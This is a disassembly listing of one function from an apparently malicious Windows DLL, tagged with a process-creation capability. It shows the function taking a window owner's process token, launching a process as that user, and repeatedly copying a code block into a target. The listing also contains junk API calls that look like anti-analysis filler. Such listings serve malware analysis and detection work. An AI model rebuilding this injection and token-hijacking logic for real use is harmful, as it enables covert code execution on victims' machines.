Function at 0x100034b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x968
mov dword [ebp - 0x954], ecx
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x248], str.Word
mov ecx, dword [ebp - 0x954]
call fcn.10002730
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x954]
add ecx, 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x180]
push edx
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0xe4]
push ecx
push 0x100172a0
lea edx, [ebp - 0x180]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100172fc
mov eax, dword [ebp - 0x954]
add eax, 0x6a0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x244], 0
mov ecx, dword [ebp - 0x954]
add ecx, 0x4dc
push ecx
mov ecx, dword [ebp - 0x954]
call fcn.10004150
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x100035c5
mov eax, dword [ebp - 0x244]
jmp 0x10003b4b
mov dword [ebp - 0x26c], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10003a43
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x270], 0
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0
je 0x10003653
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 0x270], eax
mov edx, dword [ebp - 0x274]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
lea eax, [ebp - 0xec]
push eax
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x18c], ecx
movzx edx, byte [ebp + 0xc]
test edx, edx
je 0x1000391e
mov ecx, dword [ebp - 0x954]
call fcn.100041b0
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0
je 0x100036e5
mov eax, 0x10003c70
sub eax, fcn.10003b60
push eax
push fcn.10003b60
mov ecx, dword [ebp - 0x278]
push ecx
mov ecx, dword [ebp - 0x954]
call fcn.10002b90
mov dword [ebp - 0x244], eax
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x258], edx
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 0x268]
push ecx
call dword [sym.imp.USER32.dll_EqualRect]
cmp dword [ebp - 0x244], 0
jne 0x100036d6
mov dword [ebp - 0x958], str.succeed
jmp 0x100036e0
mov dword [ebp - 0x958], str.failed
jmp 0x10003919
mov edx, dword [ebp - 0x184]
push edx
call dword [sym.imp.GDI32.dll_GetBkMode]
push 0x10
lea eax, [ebp - 0x28c]
push eax
call fcn.1000f930
add esp, 8
push 0x44
lea ecx, [ebp - 0x5d8]
push ecx
call fcn.1000f930
add esp, 8
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x5d8], 0x44
push 0
push 0x1001a014
lea ecx, [ebp - 0x590]
call fcn.10001980
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0
je 0x10003919
lea edx, [ebp - 0x27c]
push edx
mov eax, dword [ebp - 0x5dc]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 0x248]
push ecx
lea edx, [ebp - 0xe0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x248]
push eax
lea ecx, [ebp - 0xe0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x27c]
push edx
push 1
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x5e4], eax
lea eax, [ebp - 0x5e0]
push eax
push 0x2000000
mov ecx, dword [ebp - 0x5e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000380a
lea edx, [ebp - 0x28c]
push edx
lea eax, [ebp - 0x5d8]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
push str.___tLk
lea ecx, [ebp - 0x8e8]
call fcn.10001980
push eax
push 0
mov ecx, dword [ebp - 0x5e0]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
jne 0x1000384f
lea edx, [ebp - 0x28c]
push edx
lea eax, [ebp - 0x5d8]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
push str.___tLk
lea ecx, [ebp - 0x8e8]
call fcn.10001980
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0x184]
push ecx
call dword [sym.imp.GDI32.dll_GetBkMode]
cmp dword [ebp - 0x26c], 0
je 0x10003871
mov dword [ebp - 0x95c], str.succeed
jmp 0x1000387b
mov dword [ebp - 0x95c], str.failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x26c], 0
je 0x10003919
mov ecx, dword [ebp - 0x954]
call fcn.100041b0
mov dword [ebp - 0x8ec], eax
cmp dword [ebp - 0x8ec], 0
je 0x10003919
mov edx, 0x10003c70
sub edx, fcn.10003b60
push edx
push fcn.10003b60
mov eax, dword [ebp - 0x8ec]
push eax
mov ecx, dword [ebp - 0x954]
call fcn.10002b90
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
jne 0x100038f1
mov dword [ebp - 0x960], str.succeed
jmp 0x100038fb
mov dword [ebp - 0x960], str.failed
mov ecx, dword [ebp - 0x248]
movsx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x268]
push ecx
call dword [sym.imp.USER32.dll_InflateRect]
jmp 0x10003a15
lea edx, [ebp - 0xec]
push edx
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x18c], eax
mov ecx, dword [ebp - 0x954]
call fcn.100041b0
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 0
je 0x100039b0
mov ecx, dword [ebp - 0x184]
push ecx
call dword [sym.imp.GDI32.dll_GetBkMode]
mov edx, 0x10003c70
sub edx, fcn.10003b60
push edx
push fcn.10003b60
mov eax, dword [ebp - 0x8f0]
push eax
mov ecx, dword [ebp - 0x954]
call fcn.10002b90
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
jne 0x100039a4
mov dword [ebp - 0x964], str.succeed
jmp 0x100039ae
mov dword [ebp - 0x964], str.failed
jmp 0x10003a15
lea ecx, [ebp - 0x268]
push ecx
push 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [ebp - 0x268]
mov dword [ebp - 0xec], edx
mov dword [ebp - 0x244], 0x17
cmp dword [ebp - 0x244], 0
jne 0x100039ea
mov dword [ebp - 0x968], str.succeed
jmp 0x100039f4
mov dword [ebp - 0x968], str.failed
lea eax, [ebp - 0xec]
push eax
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x18c], ecx
cmp dword [ebp - 0x270], 0
je 0x10003a2b
mov edx, dword [ebp - 0x270]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [ebp - 0x274], 0
je 0x10003a41
mov eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.USER32.dll_CloseDesktop]
jmp 0x10003a6e
lea ecx, [ebp - 0xe0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
sub eax, 2
mov dword [ebp - 0xe4], eax
mov edx, dword [ebp - 0x954]
add edx, 0xc
push edx
call fcn.10003b60
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x10003a82
mov eax, dword [ebp - 0x244]
jmp 0x10003b4b
mov ecx, dword [ebp - 0x954]
call fcn.100031e0
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x10003aa7
mov eax, dword [ebp - 0x244]
jmp 0x10003b4b
mov byte [ebp - 0x185], 0
lea eax, [ebp - 0x180]
push eax
lea ecx, [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0xe4]
push edx
push 0x100172a0
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x185]
push ecx
mov ecx, dword [ebp - 0x954]
call fcn.10004490
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
jne 0x10003b45
movzx edx, byte [ebp - 0x185]
test edx, edx
je 0x10003b45
mov ecx, dword [ebp - 0x954]
call fcn.10004580
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x10003b2c
mov eax, dword [ebp - 0x244]
jmp 0x10003b4b
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10003b45
mov ecx, dword [ebp - 0x954]
call fcn.100047b0
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x244]
mov esp, ebp
pop ebp
ret 0xc